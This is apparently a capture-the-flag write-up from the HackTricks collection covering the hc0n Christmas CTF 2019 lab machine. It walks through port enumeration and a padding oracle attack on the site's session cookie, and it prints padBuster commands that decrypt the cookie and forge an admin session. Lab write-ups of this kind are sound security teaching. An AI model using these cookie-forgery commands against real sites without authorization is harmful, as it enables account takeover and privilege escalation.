hacktricks/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md

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# hc0n Christmas CTF - 2019
![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg)
## Enumeration
2021-11-30 16:46:07 +00:00
I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
![](<../../.gitbook/assets/image (244).png>)
There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**)
In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated:
![](<../../.gitbook/assets/image (245).png>)
![](<../../.gitbook/assets/image (246).png>)
2021-11-30 16:46:07 +00:00
And if you change some **byte** of the **cookie** you get this error:
![](<../../.gitbook/assets/image (247).png>)
With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it:
```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"
```
![](<../../.gitbook/assets/image (248).png>)
![](<../../.gitbook/assets/image (249).png>)
**Set user admin:**
```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"
```
![](<../../.gitbook/assets/image (250).png>)